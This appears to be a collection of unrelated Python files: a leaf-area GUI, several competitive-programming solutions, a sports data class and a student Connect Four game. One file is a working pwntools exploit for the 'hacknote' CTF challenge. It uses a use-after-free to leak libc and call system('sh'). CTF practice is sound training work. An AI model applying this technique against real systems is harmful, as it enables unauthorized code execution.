from os.path import relpath
from tkinter import *
from tkinter import filedialog
from tkinter import ttk, messagebox

from PIL import ImageTk

#CHange to local .basefunctions during deployment
from basefunctions import *
from ReadBarcodes import getBarcode

class LeafAreaCalculatorGUI:
    """
    Class LeafAreaCalculatorGUI is a Tkinter GUI manager, that is responsible for interacting with the user
    and displaying results.
    The backend application is a convulutional neural network that is trained with green, red and other colors,
    to generate a robust and reliable classifier that can detect green leaf within a given image in varying light conditions and leaf shades,
    and computes the area of the green leaf with respect to a fixed red square of 4 cm^2.

    GUI includes two preview panes:
    left pane is the original window pane, that displays the original image and the name of image.
    right pane is the updated window pane, that displays the resultant analyzd image from classifier.

    Under the left pane is a navigation bar, with which user can switch left or right through multiple images. This option is diabled if user is working on only one image.

    """
    IMAGE_HEIGHT = 300
    IMAGE_WIDTH = 300

    def __init__(self, root):
        """
        LeafAreaCalculatorGUI constructor accepts the root as Tkinter main window.

        :param root: Tkinter Main Window
        Sets parameters and configurations to default.
        :type root: Tk()
        """
        self.root = root
        self.current_page = IntVar()
        self.stored_area_dict = dict()
        self.stored_barcode_dict = dict()

        self.current_image_name = None
        self.font = 'Helvetica'
        self.font_size = 9
        self.font_param = (self.font, self.font_size, 'bold')

        self.process_clicked = False
        self.all_results = list()

        self.default_image_path = os.path.dirname(__file__)
        self.default_save_path = os.path.join(os.path.dirname(__file__), 'saved_images/')
        self.was_default_set = False

        self.set_grid()
        self.set_menus()

        self.area_red_square = int(self.set_red_square.get())

    def set_menus(self):
        """
        Function set_menus: Sets the Menu tool bar for the application.
        User can select default image directory and perform batch process usind File and Tools menu options.
        """
        menu = Menu(self.root)
        self.root.config(menu=menu)
        filemenu = Menu(menu)
        menu.add_cascade(label="File", menu=filemenu)
        filemenu.add_command(label="Set Default Image Folder", command=self.setDefaultImageLocation)
        filemenu.add_separator()
        filemenu.add_command(label="Exit", command=self.root.destroy)

        toolsmenu = Menu(menu)
        menu.add_cascade(label='Tools', menu=toolsmenu)
        toolsmenu.add_command(label='Batch Process Images', command=self.process_all)
        toolsmenu.add_separator()
        toolsmenu.add_command(label='ReTrain Model', command=self.retrain_model)

        toolsmenu.add_separator()
        toolsmenu.add_command(label='View Recent Result', command=self.view_results)
        toolsmenu.add_command(label='Save Recent Results As CSV', command=self.save_results)

        helpmenu = Menu(menu)
        menu.add_cascade(label="Help", menu=helpmenu)
        helpmenu.add_command(label="About...", command=self.About)
        helpmenu.add_command(label="Documentation", command=self.documentation)

    def retrain_model_run(self):
        """
        Function retrain_model_run: Displays model training status to user.
        A window is popped up with message: Model Training In Process. Window is closed when model training is complete.
        """
        if (RETRAIN_MODEL_FROM_SCRATCH()):
            self.retrain_window.after(5000, self.retrain_window.destroy)
            self.my_frame.update_idletasks()

    def retrain_model(self):
        """
        Function retrain_model: Performs re-training of the classifier on user input from Tools->Retrain model.
        Note: User should retrain the model only if training images have changed, or classification model seems corrupt.
        """
        self.retrain_window = Toplevel(self.my_frame)

        label_ = Label(self.retrain_window, text='Model Training In Progress..')
        label_.pack()

        self.retrain_window.after(1000, self.retrain_model_run)

    def setDefaultImageLocation(self):
        """
        Function setDefaultImageLocation: Sets the default image directory to find images for analysis.
        """
        self.was_default_set = True
        self.default_image_path = filedialog.askdirectory(initialdir=self.default_image_path)

    def About(self):
        """
        Displays the File->About pop up box.
        """
        messagebox.showinfo("pyleaf", "pyleaf:\n Simplified Leaf Area Analysis Using Machine Learning")

    def display_this_image(self, passed_image):
        """
        Function that collects a passed image from disk and displays in the original preview window and updated result window.

        :param passed_image: The image name to be fetched from default_image_path and default_save_path
        """
        originalonly = not self.process_clicked

        self.label_image_name['text'] = passed_image
        self.show_barcode['text'] = self.stored_barcode_dict[passed_image]

        # Original Preview Pane
        image = Image.open(os.path.join(self.default_image_path, passed_image))
        image = image.resize((LeafAreaCalculatorGUI.IMAGE_WIDTH, LeafAreaCalculatorGUI.IMAGE_HEIGHT), Image.ANTIALIAS)
        photo = ImageTk.PhotoImage(image)
        self.label1.config(image=photo)
        self.label1.image = photo  # keep a reference!

        if (not originalonly):
            # Processed Preview Pane
            image = Image.open(self.default_save_path + passed_image)
            image = image.resize((LeafAreaCalculatorGUI.IMAGE_WIDTH, LeafAreaCalculatorGUI.IMAGE_HEIGHT),
                                 Image.ANTIALIAS)
            photo = ImageTk.PhotoImage(image)
            self.label2.config(image=photo)
            self.label2.image = photo  # keep a reference!

    def display_left(self):
        """
        The Left Arrow button of the navigation control under original preview pane.
        Disabled if navigation reaches 1/N , Enabled otherwise.
        """
        print('Left')
        self.current_page.set(self.current_page.get() - 1)
        print('Current page: ', self.current_page.get())
        self.display_this_image(self.list_[self.current_page.get()])
        self.page_label['text'] = '{}/{}'.format(self.current_page.get() + 1, self.number_of_images)

        if (self.process_clicked):
            self.display_result(self.stored_area_dict[self.list_[self.current_page.get()]])

        if (self.current_page.get() - 1 < 0):
            self.button_left['state'] = DISABLED
            self.button_right['state'] = ACTIVE
            self.current_page.set(0)
        else:
            self.button_left['state'] = ACTIVE
            self.button_right['state'] = ACTIVE

    def display_right(self):
        """
        The Right Arrow button of the navigation control under original preview pane.
        Disabled if navigation reaches N/N , Enabled otherwise.
        """

        print('Right')
        self.current_page.set(self.current_page.get() + 1)
        print('Current page: ', self.current_page.get())
        self.display_this_image(self.list_[self.current_page.get()])
        self.page_label['text'] = '{}/{}'.format(self.current_page.get() + 1, self.number_of_images)

        if (self.process_clicked):
            self.display_result(self.stored_area_dict[self.list_[self.current_page.get()]])
        if (self.current_page.get() + 1 > (self.number_of_images - 1)):
            self.button_right['state'] = DISABLED
            self.button_left['state'] = ACTIVE
            self.current_page.set(self.number_of_images - 1)
        else:
            self.button_left['state'] = ACTIVE
            self.button_right['state'] = ACTIVE

    def change_result_preview(self, every):
        """
        Update the result window pane with the passed image.

        :param every: name of the image file to load.
        :type every: string
        """
        print('Evrry: ', every)
        analysis_info = PROCESS_IMAGE([every], self.default_image_path, self.area_red_square)
        self.area_green_leaf = analysis_info[1]

        print('EVery: ', every)
        self.stored_area_dict[every] = round(self.area_green_leaf, 2)

        self.stored_barcode_dict[every] = getBarcode(os.path.join(self.default_image_path , every))

        analysis_info[1] = round(analysis_info[1], 2)
        analysis_info.append(self.stored_barcode_dict[every])
        self.all_results.append(analysis_info)

        # Now that image analysis is complete, load the transformed image to Label2
        image = Image.open(self.default_save_path + every)
        image = image.resize((LeafAreaCalculatorGUI.IMAGE_WIDTH, LeafAreaCalculatorGUI.IMAGE_HEIGHT), Image.ANTIALIAS)
        photo = ImageTk.PhotoImage(image)

        self.label2.config(image=photo)
        self.label2.image = photo  # keep a reference!

    def update_original_preview(self, photo):
        """
        Update the original window pane with the passed image.

        :param photo: name of the image file to load.
        :type photo: string
        """
        self.label1.config(image=photo)
        self.label1.image = photo  # keep a reference!

        self.label_image_name['text'] = self.current_image_name
        if (self.number_of_images == 1):
            self.page_label['text'] = '1/1'
        else:
            self.page_label['text'] = '{}/{}'.format(self.number_of_images, self.number_of_images)
            self.button_left['state'] = NORMAL
            self.button_right['state'] = NORMAL

    def display_result(self, area=None):
        """
        Displays the area in cm^2 with an option to switch to mm^2 by clicking on the numerical result displayed.

        :param area: The area to display in the 'Leaf Area:'  field.
        :type area: float, 2 bit decimal.
        """
        if (area == None):
            area = round(self.area_green_leaf, 2)

        self.area_green_leaf = area
        self.show_area.config(text='{} cm\u00b2'.format(area))

        print('Seting a: ', self.a.get())
        self.a.set(self.a.get() + 1)

        if self.a.get() >= self.number_of_images and self.a.get() > 1:
            try:
                self.progress.update_idletasks()
                self.newwin.after(5000, self.newwin.destroy)
                self.root.update_idletasks()

                # Save results
                dataFrameMeasure = pd.DataFrame(self.all_results,
                                                columns=['Sample', 'Area', 'Red Pixels', 'Red Ratio', 'Green Pixels',
                                                         'Dimensions', 'BarCode'])
                dataFrameMeasure.to_csv(os.path.join(os.path.dirname(__file__), 'storedMeasuredValues.csv'))
            except Exception:
                pass

    def documentation(self):
        import webbrowser
        webbrowser.open('file://' + os.path.realpath(os.path.join(os.path.dirname(__file__), 'pyleaf.pdf')))

    def view_results(self):
        '''
        Function to display the recently saved results in a new window.
        Displays results available in storedMeasuredValues.csv data file.
        '''

        self.result_window = Toplevel(self.root)
        storedAreas = pd.read_csv(os.path.join(os.path.dirname(__file__), 'storedMeasuredValues.csv'))

        self.result_frame = Frame(self.result_window)
        self.result_frame.grid(row=0, columnspan=storedAreas.shape[1] + 2)

        Label(self.result_frame, text="Leaf Area Results", font=("Arial", 24), relief='sunken').grid(row=0,
                                                                                columnspan=
                                                                                storedAreas.shape[
                                                                                1] + 2)

        for col, every_col in enumerate(['Sample', 'Area']):
            Label(self.result_frame, text=str(every_col), font=self.font_param, relief='flat', fg='green').grid(row=1,
                                                                                column=col + 1)

        for row, (index, every_row) in enumerate(storedAreas.iterrows()):
            for col, every_col in enumerate(['Sample', 'Area']):
                label_ = Label(self.result_frame, text=str(every_row[every_col]), font=self.font_param, relief='flat')
                label_.grid(row=row + 2, column=col + 1, columnspan=1)

        Label(self.result_frame, text="", font=("Arial", 30)).grid(row=storedAreas.shape[0] + 2,
                                                                   columnspan=storedAreas.shape[1] + 2)

    def save_results(self):
        '''
        Function to display the save recent results to location of user choise.
        Displays results available in storedMeasuredValues.csv data file.
        '''
        import shutil

        # storedAreas = pd.read_csv(os.path.join(os.path.dirname(__file__), 'storedMeasuredValues.csv'))
        savePath = filedialog.askdirectory(initialdir=self.default_image_path)

        shutil.copy(os.path.join(os.path.dirname(__file__), 'storedMeasuredValues.csv'), savePath)
        messagebox.showinfo("File Saved", "Success:\n Results Location: "+savePath)

    def change_unit(self, event):
        """
        Function that allows the numerical leaf area result to switch between cm^2 and mm^2.
        The result is displayed in Leaf Area label field.

        :param event: Accept the button click event.
        :type event: Tkinter Button Press 1.
        :return: Return 'NA' back if 'NA' is clicked.
        :rtype: int
        """
        is_cm = True if 'cm' in self.show_area['text'] else False

        if ('NA' in self.show_area['text']):
            return 0

        if (not is_cm):
            area = round(self.area_green_leaf, 2)
            self.show_area.config(text='{} cm\u00b2'.format(area))
        else:
            area = round(self.area_green_leaf * 100, 2)
            self.show_area.config(text='{} mm\u00b2'.format(area))

    def new_winF(self):  # new window definition
        """
        Function that creates a progress window to display progress of leaf analysis with multiple images.
        A new window updates the status with analysis of every leaf in the default_image_folder, and closes automatically when program processes all images.

        The window is positioned to be in the centre of the main window.
        """
        window_height = 150
        window_width = 300

        self.newwin = Toplevel(self.my_frame)
        x_cordinate = int((820 / 2) - (window_width / 2))
        y_cordinate = int((500 / 2) - (window_height / 2))

        self.newwin.geometry("{}x{}+{}+{}".format(window_width, window_height, x_cordinate, y_cordinate))
        self.progress = ttk.Progressbar(self.newwin, orient=HORIZONTAL, length=100, mode='determinate')
        self.progress.place(x=50, y=50, height=50, width=200)

        self.prog_label = Label(self.newwin, width=15, text='Processing...', font=self.font_param)
        self.prog_label.place(x=50, y=30, height=15, width=200)

    def change_progress(self):
        """
        Update the progress value in the progress window.
        """
        self.newwin.update_idletasks()
        val = int((self.a.get() / self.number_of_images) * 100)
        self.progress['value'] = val
        print('Getting a: ', self.a.get())
        print('Val: ', val)
        self.progress.update()

    def process_all(self):
        """
        Function that is triggered when Batch Process feature is activated by user.
        Iterate over all images one by one from the list of images in default_image_path, and update the Leaf Area and preview panes as the results become available.
        While the operation is in progress, new window is popped that displays dynamic progress of task.
        """
        self.process_clicked = True

        self.list_ = list(filter(lambda x: str(x).lower().__contains__('.jp'), os.listdir(self.default_image_path)))
        self.number_of_images = len(self.list_)

        print('DF: ', self.default_image_path)
        print('List_: ', self.list_)

        if (self.was_default_set):
            if (self.number_of_images == 1):
                self.button_left['state'] = DISABLED
                self.button_right['state'] = DISABLED
            else:
                self.button_left['state'] = DISABLED
                self.button_right['state'] = DISABLED
                print('Setting current page..')
                self.current_page.set(self.number_of_images - 1)
                print(self.current_page)

            for index, every in enumerate(self.list_):
                # Load original picture
                image = Image.open(os.path.join(self.default_image_path, every))
                image = image.resize((LeafAreaCalculatorGUI.IMAGE_WIDTH, LeafAreaCalculatorGUI.IMAGE_HEIGHT),
                                     Image.ANTIALIAS)
                photo = ImageTk.PhotoImage(image)

                self.label1.after(500, self.update_original_preview, photo)
                self.current_image_name = every

                self.button_select['state'] = DISABLED
                self.button_area['state'] = NORMAL

            print('NOI: ', self.number_of_images)
            self.process_image()
        else:
            messagebox.showwarning("Default Path", "Default Image Path was not set. Use File->Set Default Image Folder")

    def process_image(self, every=None):
        """
        Function that accepts only one image name as input, and performs analysis.
        Updates the Leaf Area and preview panes as the result become available. If no input is provides, iteratively processes all images in the global list_ maintained by class as list of all
        images in the default image path.

        :param every: Image name to process
        :type every: string
        """
        self.process_clicked = True
        self.a = IntVar()
        self.a.set(1)

        if (self.number_of_images == 1):
            every = self.current_image_name
            self.label2.after(100, self.change_result_preview, every)
            self.show_area.after(100, self.display_result)
            self.show_barcode.after(100, self.display_barcode, every)
        else:
            self.new_winF()
            for index, every in enumerate(self.list_):
                self.progress.update_idletasks()
                self.progress.after(5000, self.change_progress)
                self.label2.after(5000, self.change_result_preview, every)
                self.show_area.after(5000, self.display_result)
                self.show_barcode.after(100, self.display_barcode, every)

    def display_barcode(self,filename):
        self.barcode = getBarcode(os.path.join(self.default_image_path , filename))
        self.show_barcode.config(text='{}'.format(self.barcode))

    # Ask the user to select a one or more file names.
    def answer(self, x):
        """
        Allows user to select base image path from where all images in that folder can be polled for batch analysis.
        When user selects the default folder through the dialog box, all images in the selected folder are loaded in the original preview pane.

        :param x: Tkinter Instance of main window or root
        :type x: Tk()
        """
        self.my_frame.update_idletasks()
        # Build a list of tuples for each file type the file dialog should display
        my_filetypes = [('all files', '.*'), ('image files', '.JPG')]

        self.list_ = filedialog.askopenfilenames(parent=x, initialdir=self.default_image_path,
                                                 title="Please select one or more files:",
                                                 filetypes=my_filetypes)

        self.default_image_path = os.path.dirname(self.list_[0])
        self.list_ = [relpath(x, self.default_image_path) for x in self.list_]
        print(list(self.list_))

        self.number_of_images = len(self.list_)
        print('NOI: ', self.number_of_images)

        if (self.number_of_images == 1):
            self.button_left['state'] = DISABLED
            self.button_right['state'] = DISABLED
        else:
            print('Setting current page..')
            self.current_page.set(self.number_of_images - 1)
            print(self.current_page)

        for index, every in enumerate(self.list_):
            # Load original picture
            image = Image.open(os.path.join(self.default_image_path, every))
            image = image.resize((LeafAreaCalculatorGUI.IMAGE_WIDTH, LeafAreaCalculatorGUI.IMAGE_HEIGHT),
                                 Image.ANTIALIAS)
            photo = ImageTk.PhotoImage(image)

            self.label1.after(500, self.update_original_preview, photo)
            self.current_image_name = every

            self.button_select['state'] = DISABLED
            self.button_area['state'] = NORMAL
            self.button_right['state'] = DISABLED

        self.my_frame.update_idletasks()
        self.display_this_image(self.current_image_name)

    def reset_workspace(self):
        """
        Resets the workspace to defaults. This provides a fresh GUI configuration to user.
        Clears all images in the default save path directory.
        """
        self.set_grid()
        self.stored_area_dict = dict()
        for every in os.listdir(self.default_save_path):
            os.remove(os.path.join(self.default_save_path, every))

        self.process_clicked = False

    def disable_red_button(self, event):
        """
        Disable the Set Red Button.
        """
        self.set_red_label['state'] = DISABLED
        self.set_red_square['state'] = DISABLED

        self.area_red_square = int(self.set_red_square.get())

    def set_grid(self):
        """
        Creates a blueprint of the various GUI elements in a window of size 820x500.
        Tkinter Frame is creates and place geometry manager is used to position the elements exactly where desired.
        Positions labels ans preview panes in the desired locations, as per the GUI guidelines of this project.
        """
        self.my_frame = Frame(self.root)
        self.my_frame.place(x=0, y=0, height=500, width=820)

        image = Image.open(os.path.join(os.path.dirname(__file__), 'leaf_top.png'))
        image = image.resize((40, 50), Image.ANTIALIAS)
        photo = ImageTk.PhotoImage(image)

        self.label_leaf_top = Label(self.my_frame, image=photo,
                                    height=40, width=50,
                                    font=self.font_param)
        self.label_leaf_top.image = photo
        self.label_leaf_top.place(x=0, y=0, height=40, width=50)

        self.label1 = Label(self.my_frame, text='Please upload an image.',
                            height=LeafAreaCalculatorGUI.IMAGE_HEIGHT, width=LeafAreaCalculatorGUI.IMAGE_WIDTH,
                            font=self.font_param)
        self.label1.image = photo  # keep a reference!
        self.label1.place(x=20, y=50, height=300, width=300)

        self.label2 = Label(self.my_frame, text='Processed Image \nPreview appears here.',
                            height=LeafAreaCalculatorGUI.IMAGE_HEIGHT,
                            font=self.font_param, width=LeafAreaCalculatorGUI.IMAGE_WIDTH)
        self.label2.image = photo  # keep a reference!
        self.label2.place(x=500, y=50, height=300, width=300)

        # Pagination
        self.button_left = Button(self.my_frame, text='<', height=1, width=5,
                                  command=self.display_left, font=self.font_param)
        self.button_left.place(x=20, y=400)

        self.page_label = Label(self.my_frame, text='0/0', font=self.font_param)
        self.page_label.place(x=150, y=400, width=60)

        self.button_right = Button(self.my_frame, text='>', height=1, width=5,
                                   command=self.display_right, font=self.font_param, state=DISABLED)
        self.button_right.place(x=270, y=400)

        self.label_image_name = Label(self.my_frame, text='', font=self.font_param)
        self.label_image_name.place(x=20, y=370, width=300)

        self.button_left['state'] = DISABLED
        self.button_right['state'] = DISABLED

        self.button_select = Button(self.my_frame, text='Select Image(s)', height=1, width=15,
                                    command=lambda x=self.root: self.answer(x), font=self.font_param)
        self.button_select.place(x=350, y=100)

        self.button_area = Button(self.my_frame, text='Compute Leaf Area', height=1, width=15,
                                  command=self.process_image, font=self.font_param)

        self.button_area.place(x=350, y=160)
        self.button_area['state'] = DISABLED

        self.text_area = Label(self.my_frame, text='Leaf Area:', width=30, font=self.font_param)
        self.text_area.place(x=450, y=370)

        self.show_area = Label(self.my_frame, text='NA', width=20, font=self.font_param)
        self.show_area.bind("<Button-1>", self.change_unit)
        self.show_area.place(x=600, y=370)

        self.barcode_label = Label(self.my_frame, text='Barcode ID:', width=30, font=self.font_param)
        self.barcode_label.place(x=450, y=390)

        self.show_barcode = Label(self.my_frame, text='NA', width=20, font=self.font_param)
        self.show_barcode.place(x=600, y=390)

        self.reset_button = Button(self.my_frame, text='Reset Workspace', height=1, width=15,
                                   command=self.reset_workspace,
                                   font=self.font_param)

        self.reset_button.place(x=700, y=20)

        self.set_red_label = Button(self.my_frame, text='Set Red Area:', width=12, font=self.font_param)
        self.set_red_label.bind('<Button-1>', self.disable_red_button)
        self.set_red_label.place(x=500, y=20)
        self.set_red_square = Entry(self.my_frame, width=7, font=self.font_param)
        self.set_red_square.place(x=600, y=20)
        self.set_red_square.insert(0, '{}'.format(4))
        # self.set_red_square.bind("<Return>", evaluate)
        self.set_red_square_cm = Label(self.my_frame, width=3, font=self.font_param, text='cm\u00b2')
        self.set_red_square_cm.place(x=630, y=20)
        self.set_red_square.config(justify=LEFT)
        # self.set_red_square.foc
        # self.set_red_square.insert(10, '{} cm\u00b2'.format(4))
        # entry.bind("<Return>", evaluate)

if __name__ == '__main__':
    root = Tk()
    root.title('Leaf Area Calculator')
    root.geometry("820x500")
    root.resizable(False, False)
    leaf_compute = LeafAreaCalculatorGUI(root)

    # leaf_compute.retrain_model()

    root.mainloop()


#!/usr/bin/python3

import math
import fractions

# given a fraction, how many times does the denominator have to be doubled to
# find a 1/1...?

# g1: (1/2, 1/2)
# g2: (1/4, 1/4, 1/4, 1/4)....
# g40: (1/2^40...)

# So... log2 it?

# 40 generations... ???
# Soo... her ancestors are at most 2^40 bits
# So... if the value of her ancestry can't be expressed as a sum of (1/2^40)
# it's not valid
# It's a divisibility test!

def debug(*args, **kwargs):
    print(*args, **kwargs)
    pass

cases = int(input())

for case in range (1, cases + 1):

    (num, den) = [int(x) for x in input().split("/")]
    test = fractions.Fraction(num, den)

    step = 1
    frac = fractions.Fraction(1, 2)
    impossible = False
    limit = fractions.Fraction(1, 1099511627776) # 2^40

    if (test/limit).denominator != 1:
        print("Case #%s: %s" % (case, "impossible"))
        continue

    while frac > test:
        step += 1
        frac /= 2
        if step > 40:
            impossible = True
    if impossible:
        print("Case #%s: %s" % (case, "impossible"))
    else:
        print("Case #%s: %s" % (case, step))


# -*- coding: utf-8 -*-
"""
player_list.py
"""

from common.common import Config, File, Path

class PlayerList():
    """
    PlayerList
    """

    HOME = 1
    AWAY = 2

    def __init__(self):
        self.__filepath = self.__get_file_path()
        self.__columns = []
        self.__rows = []
        self.__load()

    def __get_file_path(self) -> str:
        config = Config.load()
        path = \
            config["SPORTS_DATA_FOLDER_PATH"] +\
            config["BALL_TOUCH_DATA_FOLDER_PATH"] +\
            config["BALL_TOUCH_PLAYER_LIST_PATH"]
        return Path.get_abs_pass(path)

    def __load(self) -> None:
        self.__columns, self.__rows = File.read_csv(self.__filepath)

    def get_player_id(self, match_id, is_home, uniform_number) -> int:
        """
        get_player_id
        """
        if is_home:
            homeaway_f = self.HOME
        else:
            homeaway_f = self.AWAY

        for row in self.__rows:
            _homeaway_f = int(row[self.__columns.index("ホームアウェイF")])
            _match_id = int(row[self.__columns.index("試合ID")])
            _uniform_number = int(row[self.__columns.index("背番号")])
            _player_id = int(row[self.__columns.index("選手ID")])

            if _homeaway_f == homeaway_f and \
               _match_id == match_id and \
               _uniform_number == uniform_number:
                return _player_id
        raise ValueError("プレイヤーが存在しませんでした。")


#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'M4x'

from pwn import *
from time import sleep
import pdb
import sys
context.log_level = "debug"
context.terminal = ["deepin-terminal", "-x", "sh", "-c"]

if sys.argv[1] == "l":
    io = process("./hacknote", env = {"LD_PRELOAD": "./libc_32.so.6"})
    libc = ELF("/usr/lib32/libc.so.6")

else:
    io = remote("chall.pwnable.tw", 10102)
    elf = ELF("./hacknote")
    libc = ELF("./libc_32.so.6")

def DEBUG():
    raw_input("DEBUG: ")
    cmd = '''
    b *0x804869A
    b *0x804872C
    b *0x80487D3
    b *0x8048863
    b *0x8048879
    b *0x804893D
    '''
    gdb.attach(io, cmd)

def addNote(size, content):
    io.sendlineafter("choice :", "1")
    io.sendlineafter("size :", str(size))
    io.sendafter("Content :", content)

def delNote(idx):
    io.sendlineafter("choice :", "2")
    io.sendlineafter("Index :", str(idx))

def printNote(idx):
    io.sendlineafter("choice :", "3")
    io.sendlineafter("Index :", str(idx))

def leak():
    addNote(24, 'a' * 24)
    addNote(24, 'b' * 24)

    delNote(0)
    delNote(1)

    addNote(8, p32(0x804862B) + p32(elf.got["puts"]))

    printNote(0)
    libc_base = u32(io.recvuntil("\xf7")[-4: ]) - libc.symbols["puts"]
    info("libc_base -> 0x%x" % libc_base)
    return libc_base

def shell(libc_base):
    addNote(40, 'ccc')

    delNote(2)

    #  pdb.set_trace()
    #  DEBUG()
    # use || to execute system("sh")
    payload = p32(libc_base + libc.symbols["system"]) + "||sh"
    addNote(8, payload)

    printNote(0)

if __name__ == "__main__":
    #  DEBUG()
    shell(leak())
    io.interactive()
    io.close()


# File: proj1.py
# Author: Siril Pattammady
# Date: November 6, 2016
# Section: SECTION NUMBER 06
# E-mail: psiril1@umbc.edu
# Description:
# The program is the game connect 4 for two people.
# Collaboration:
# Collaboration is not allowed on this assignment.

# Global Constants
MIN_VAL = 5
PLY_1 = "x"
PLY_2 = "o"
EMPTY = "_"
# A function that prints the introduction screeen for the two players
# Input: It asks whether or not if they want to load a game or not.
# Input: If user enters "n" then the game will load.
# Input: If the user enters "y" then the user can make a file for saving
# Input:It also asks for the number of rows and columns they want on their board.
# Output: Returns the value of columns and rows to main.
# Output: If user enters "y" then it will ask the user to make a game file.

def load():

    print("Welcome to Connect Four")
    print("This game is for two players")
    welcome = input("Would you like to load a game (y/n)?")

    while welcome != ("n") and welcome != ("y"):
        welcome = input("Would you like to load a game (y/n)?")

    if welcome == ("n"):
        print("Please choose the number of rows:")
        rows = int(input("Please enter a number greater than or equal to " +str(MIN_VAL)+ " : "))

    while rows < MIN_VAL:
        rows = int(input("Please enter a number greater than or equal to "+ str(MIN_VAL)+ " : "))

    if welcome == ("n"):
        print("Please choose the number of columns:")
        columns = int(input("Please enter a number greater than or equal to "+ str(MIN_VAL)+ " : "))

    while columns < MIN_VAL:
        columns = int(input("Please enter a number greater than or equal to " + str(MIN_VAL)+ " : " ))

    return(rows,columns)

# A function that asks the choice for player one and two on where they want to
# put their piece in the board.
# Input: Players column choice for their piece (integer)
# Output: Returns the players column choice in main.
def player(turn,columns):

    if turn % 2 != 0 :
        # if choice is s else
        print("Player 1 what is your choice?")
        choice = int(input("Please choose a column to place your piece in (1-"+str(columns)+") or s to save : "))

    elif turn % 2 == 0:
        print("Player 2 what is your choice?")
        choice = int(input("Please choose a column to place your piece in(1-"+str(columns)+") or s to save : "))

    turn += 1

    return(choice)

# A function that places an 'x' or an 'o' into the column the players choose.
# Input: The players turn will change the piece placed into the board
# Output: 'x' or 'o' into grid based on player turn
def placement(turn,choice,final_grid,rows):

    # whose turn it is
    if turn % 2 != 0:
        piece = PLY_1
    else:
        piece = PLY_2

    for index in range(rows-1, -1, -1):

        if final_grid[index][choice-1] == EMPTY:
            final_grid[index][choice-1] = piece
            return
    if final_grid[index][choice-1] != EMPTY:
        print("The column is full, please pick another column")
    if final_grid != EMPTY:
        print("There was a draw!!")
    return

# Makes a list given column and row value
# Input: Takes in the rows and column number
# Output: Creates a list given the row and column value
def board(rows,columns):

    final_grid = []

    for i in range(0,rows):
        final_grid.append(["_"]*columns)

    return final_grid

# Makes a board given the column and row value
# Input: Takes in the row and column value
# Output: Displays the board given the users input for column and row.
def display(rows,columns,final_grid):

    space = ""
    for i in range(rows):
        for j in range(columns):
            space = space + final_grid[i][j] + " "
        print(space)
        space = ""

# A function that checks the horizontal row for a winner
# It compares each index to the next checking if they are the same.
# Outputs: The winner is player 1 or 2
def horizontal(rows,columns,final_grid):

    answer = "1"

    for i in range(rows):
        for j in range(columns-3):
            if final_grid[i][j] == final_grid[i][j+1] and final_grid[i][j] == final_grid[i][j+2] and final_grid[i][j]== final_grid[i][j+3]:

                if final_grid[i][j] == PLY_1:
                    answer = "The winner is Player 1"
                elif final_grid[i][j] == PLY_2:
                    answer = "The winner is Player 2"
    return answer

# A function that checks the horizontal row for a winner.
# It compares each index going up the list to the next checking if they are the same.
# Range of rows is subtracted by 3 because it will go out of range/bounds
# Outputs: The winner is player 1 or 2
def vertical(rows,columns,final_grid):

    answer = "1"
    for i in range(rows-3):
        for j in range(columns):
            if final_grid[i][j] == final_grid[i+1][j] and final_grid[i][j] == final_grid[i+2][j] and final_grid[i][j] == final_grid[i+3][j]:

                if final_grid[i][j] == PLY_1:
                    answer = "The winner is Player 1"
                elif final_grid[i][j] == PLY_2:
                    answer = "The winner is Player 2"
    return answer

# A function that checks the diagonal row for a winner going diagonal right.
# The three in each of the for loops is to ensure that it will not go out of range when checking.
# Outputs: The winner is player 1 or 2
def diagonalRight(rows,columns,final_grid):

    answer = "1"
    for i in range(3, rows):
        for j in range(columns-3):

            if final_grid[i][j] == final_grid[i-1][j+1] and final_grid[i][j] == final_grid[i-2][j+2] and final_grid[i][j] == final_grid[i-3][j+3]:
                if final_grid[i][j] == PLY_1:
                    answer = "The winner is Player 1"
                elif final_grid[i][j] == PLY_2:
                    answer = "The winner is Player 2"
    return answer

# A function that checks the diagonal row for a winner going diagonal left.
# Outputs: The winner is player 1 or 2
def diagonalLeft(rows,columns,final_grid):

    answer = "1"
    for i in range(3, rows):
        for j in range(3, columns):
            if final_grid[i][j] == final_grid[i-1][j-1] and final_grid[i][j] == final_grid[i-2][j-2] and final_grid[i][j] == final_grid[i-3][j-3]:

                if final_grid[i][j] == PLY_1:
                    answer = "The winner is Player 1"
                elif final_grid[i][j] == PLY_2:
                    answer= "The winner is Player 2"
    return answer

def main():

    # loading funtion
    rows,columns = load()
    # function for the board
    final_grid = board(rows,columns)
    # function that displays the board
    display(rows,columns,final_grid)

    # answer markers
    a = "1"
    b = "1"
    c = "1"
    d = "1"

    choice = 1
    turn = 1
    # A loop that calls the function for players turn and where they want their piece to go in.
    # It consists of the functions that will print out the winner.

    while a == "1" and b == "1" and c == "1" and d == "1":
        choice = player(turn,columns)

        position =  placement(turn,choice,final_grid,rows)
        display(rows,columns,final_grid)
        turn += 1
        a = horizontal(rows,columns,final_grid)
        b = vertical(rows,columns,final_grid)
        c = diagonalRight(rows,columns,final_grid)
        d = diagonalLeft(rows,columns,final_grid)
    # Refers to all the check functions
    # If any of the original answer markers change then it will print out the winner
    # This was originally in my while loop, but decided it was an easy way to stop the loop when someone wins
    if a != "1":
        print(a)
    if b != "1":
        print(b)
    if c != "1":
        print(c)
    if d != "1":
        print(d)

    ##### Does the whole program one more time
    question = input("Would you like to play again (y/n)?")
    while question == "y":
        rows,columns = load()

        final_grid = board(rows,columns)

        display(rows,columns,final_grid)

        a = "1"
        b = "1"
        c = "1"
        d = "1"

        choice = 1
        turn = 1
        # A loop that calls the function for players turn and where they want their piece to go in.
        while a == "1" and b == "1" and c == "1" and d == "1":
            choice = player(turn,columns)
            position =  placement(turn,choice,final_grid,rows)
            display(rows,columns,final_grid)
            turn += 1
            a = horizontal(rows,columns,final_grid)
            b = vertical(rows,columns,final_grid)
            c = diagonalRight(rows,columns,final_grid)
            d = diagonalLeft(rows,columns,final_grid)
            if a != "1":
                print(a)
            if b != "1":
                print(b)
            if c != "1":
                print(c)
            if d != "1":
                print(d)

        question = input("Would you like to play again (y/n)?")
main()


# vim: fileencoding=utf-8

def main():
    s = list(input())
    c = ["dreamer", "dream", "erase", "eraser"]
    n = [7, 5, 5, 6]
    while True:
        f = True
        for i in range(4):
            if "".join(s[-n[i] :]) == c[i]:
                f = False
                s = s[: -n[i]]
                break
        if f:
            if len(s) == 0:
                print("YES")
            else:
                print("NO")
            return

if __name__ == "__main__":
    main()


__author__ = 'yihan'
class Solution(object):
    def maxProfit(self, prices):
        """
        :type prices: List[int]
        :rtype: int
        """
